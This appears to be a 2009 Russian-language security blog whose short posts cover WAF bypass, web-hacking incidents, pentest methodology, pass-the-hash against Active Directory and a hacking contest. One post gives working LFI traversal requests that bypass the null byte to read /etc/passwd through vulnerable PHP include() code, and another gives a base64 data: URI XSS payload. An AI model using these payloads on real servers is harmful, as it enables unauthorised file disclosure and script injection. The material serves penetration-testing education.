Методы обхода Web Application Firewall

Бесспорно, использование WAF вызвано желанием снизить существующие угрозы со стороны атак, направленных на эксплуатацию уязвимостей в Web-приложениях.

Разработчики подобных фильтров обещают наиболее простое и дешевое решение "от всех проблем", а администраторы (в очередной раз) искренне верят в неприступность собственных систем. Но как будет рассказано на выступлении, WAF - это не долгожданная "серебряная пуля". Как и все, что создано человеком WAF имеет недостатки, которые позволяют воспользоваться уязвимостями даже на самых защищенных серверах.

YAHOO! взломали через банальную SQL Injection

Не каждый день ломают такие крупные проекты, как YAHOO. Поэтому мое внимание сразу же привлекла новость с блога Security-Shell о том, что сервис коммуникаций и обмена разнородной информацией YAHOO! Local был скомпрометирован с использованием самой обычной SQL Injection:


Использование замены null-byte в реальных условиях

Проводя тестирования на проникновение в отношении Web-приложений, построенных на PHP, такая полезная особенность интерпретатора, как альтернатива символу конца строки (\0), уже неоднократно позволяла успешно провести атаку типа Local File Including (LFI). На фоне этого появились некоторые наработки эксплуатации LFI c использованием метода по обходу null-byte [1,2,3].

Примеры разберем на up to date системе FreeBSD (7.2-RELEASE-p3) с php (5.2.10 with Suhosin-Patch 0.9.7).

<? include("q/".$_GET['f'].".txt"); ?>

Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/.
, где /.[N]/. - repeat("/.", 487)

<? include("qq/".$_GET['f'].".txt"); ?>

Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает:
/?f=/../../../../../etc/passwd/.[N]/.

<? include("qqq/".$_GET['f'].".txt"); ?>

Аналогично, предыдущий URL не позволит получить доступ к файлу. Сработает первый запрос: /?f=../../../../../etc/passwd/.[N]/.

и т.д. То есть, существует прямая зависимость между началом запросов выхода за каталог "../" и "/../" (кратная двум) от начала поступающих данных в функцию include(),require(), etc.

Другой пример кода:
<? include($_GET['f'].".txt"); ?>

Предыдущие запросы идут лесом. Отработает следующий URL:
/?f=non/../../../../../etc/passwd/.[N]/.

Таким образом, при эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] замена null-byte, характерная для атакуемой ОС.

Web Hacking Incidents Database

Как-то так получилось, что стал собирать данные по инцидентам, связанных с антивирусными продуктами. На этой ноте решил в данном посте собирать данные по инцидентам, которые происходили по причине использования злоумышленниками уязвимостей в Web-приложениях.

В первую очередь, хотелось бы отметить Web Hacking Incidents Database (WHID), поддерживаемую и регулярно пополняемую консорциумом Web Application Security Consortium (WASC). Также, на мой взгляд, интересную статистику по тому же направлению предлагает компания Breach Security (данные по инцидентам за 2008 г./2009 г.).

Здесь наиболее оригинальное использование уязвимости в Web-приложении :) Хороший пример, насколько может быть опасно, в финансовой форме, нарушение целостности информации на сайте компании. Тут, продолжение истории.

И успешные пафосные атаки на web из недалекого прошлого: атака на MI5 и взлом почти статического сайта Кевина Митника :)

Сбор информации, как ключевой этап тестирования на проникновение

Действия атакующего (и пентестера) обычно разделены на следующие этапы:

  • Пассивный сбор информации;
  • Анализ собранной информации;
  • Активный сбор информации;
  • Проведение атаки.

При этом сбор и анализ информации, а также корректировка выбранных способов проникновения в информационную систему многократно могут повторяться. Первоначальный же сбор информации во многом является ключевым элементом проведения успешного и правильного пентеста. От того, насколько скрупулезно он был осуществлен, может зависеть, как эффективность пентеста в целом, так и эффективность отработки отдельных векторов атаки (социальная инженерия, брутфорс, атака на Web-приложения и пр.).

Выдержит ли Blogger.com DDoS?

Пару дней назад по непонятным причинам в районе 7-ми часов вечера наблюдал следующую картину:


Как теперь (мне) стало понятно, по всей видимости, гугль и не так уж и успешно справляется с DDoS-атакой, от которой уже падали ЖЖ, Facebook и Twitter. Подробности тут.

Интересные раскопки

Оказывается, присоединяться на 23/tcp порт браузером считает не безопасным! По крайней мере, так считает Opera.


Mozilla Firefox придерживается аналогичного мнения:


Russian Business Network

Познакомили меня сегодня с интересной сеточкой aka RBN (Российская Бизнес-сеть) – настоящий абузоустойчивый хостинг из России. Вот что о ней пишет вика: "Сеть возникла в качестве предоставления Интернет-услуг для детской порнографии, фишинга, распространения спама и вредоносных программ". Также ей приписывают заслуги по проведению DoS в 2007 г. на Эстонию и в 2008 г. на Грузию. Вот такая нехорошая сеточка, а тут диапазоны ip негодяев.

Забавный Microsoft

Сейчас сидел баловался с sqlmap, как вдруг перед глазами мелькнула надпись о том, что меня приветствует Microsoft Telnet-сервер. Первая мысль – прозохали:(( ан нет! Как оказалось это такая фича в windows 2k3 cmd-shell. Просто забыл поставить URI запрос в кавычки...


Забавная ситуация, но сердце екнуло:-))

Chaos Constructions '2009 (CC9)

Буквально через две недели состоится компьютерный фестиваль Chaos Constructions '2009 (CC9). В этом году активное участие в проведении конкурса HackQuest принимает команда Positive Technologies, в частности я и Андрей Абрамов (ака Stinger). Разработка всех этапов конкурса почти завершена, и в скором времени (до наступление CC) мы в своей сети поиграем в хакеров:), дабы убедиться, что участники конкурса смогут за приемлемое время пройти все его этапы. Конкурс будет действительно интересным и увлекательным. Для того, чтобы немного снять напряжение при "мозговом штурме" в творческом процессе взлома, конкурс напичкан "пасхальными яйцами":) (надеюсь, участникам конкурса они покажутся забавными).

Кроме HackQuest, команда Positive Technologies также принимает участие в проведении конкурса по обходу проактивного фильтра WAF, работающего под CMS Bitrix. В частности я занимаюсь тем, чтобы коммуникатор не получил никто:)) либо получил не за взлом, а в качестве поощрительного приза... Конкурс по обходу Bitrix WAF проходит в рамках фестиваля CC09, но также будет доступен из сети Интернет. Следите за новостями и welcome!

Атака на Active Directory

В свое время я рассказывал про брешь в системе информационной безопасности Active Directory, которая повсеместно встречается в большинстве компаний. Брешь связана с включенной локальной учетной записью дефалтового администратора на рабочих местах корпоративных пользователей. Тогда я рассуждал о том, что существует вероятность компрометации пароля для этой учетной записи, например, с использованием "радужных таблиц", и как следствие, компрометация других доменных компьютеров (в лучшем случае компьютеров непривилегированных пользователей и не компьютеров из отдела бухгалтерии;)). Однако, зачем нам пароль, когда у нас на руках LM&NTLM хеш? Правильно, тратить время на восстановление пароля совершенно не нужно – Pass-The-Hash решит задачу дешево и сердито.

Потому в очередной раз напоминаю, что в доменной архитектуре локальная учетная запись не требуется! И даже будучи отключенной, она доступна при загрузке в безопасном режиме.

PS: действо с отключением локальной учетной записи администратора вовсе не означает, что для нее не нужно регулярно менять используемый пароль, т.к. стоит только немного расслабиться, как инсайдер задерживаясь на работе дольше остальных, начнет сливать информацию с чужих компьютеров, загружаясь в безопасном режиме:)

Оригинальный Cross-Site Scripting

И на какие только трюки не идет атакующий, чтобы успешно провести эксплуатацию уязвимости XSS. Чего только стоит взрыв мозга после прочтения материалов Эдуардо Вела (Eduardo Vela) и Дэвида Линдсэй (David Lindsay) на тему реализации XSS-атак, представленных на прошедшей конференции BlackHat. Но время не стоит на месте, и мы продолжаем знакомиться с новыми векторами реализации XSS.

Используете Opera или Firefox 3.x? Тогда копипастим в адресную строку следующее:
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=


Вроде ничего страшного? Однако, подобная "фича" этих браузеров может реально использоваться "в живой природе" для проведения вполнее себе пригодной атаки Cross-Site Scripting.

ЗЫ: для тех же целей также работает следующая конструкция «javascript:window.location = "http://www.google.com/"»

ВКонтакте, QIP, Who following?

Не успели в Интернете перетереть утечку пользователей социальной сети ВКонтакте, как с небольшим отрывом появилась новость о раскопках утекших пользователей системы мгновенных сообщений QIP. Остается лишь добавить, кто будет следующим? ...и во время подсуетиться:))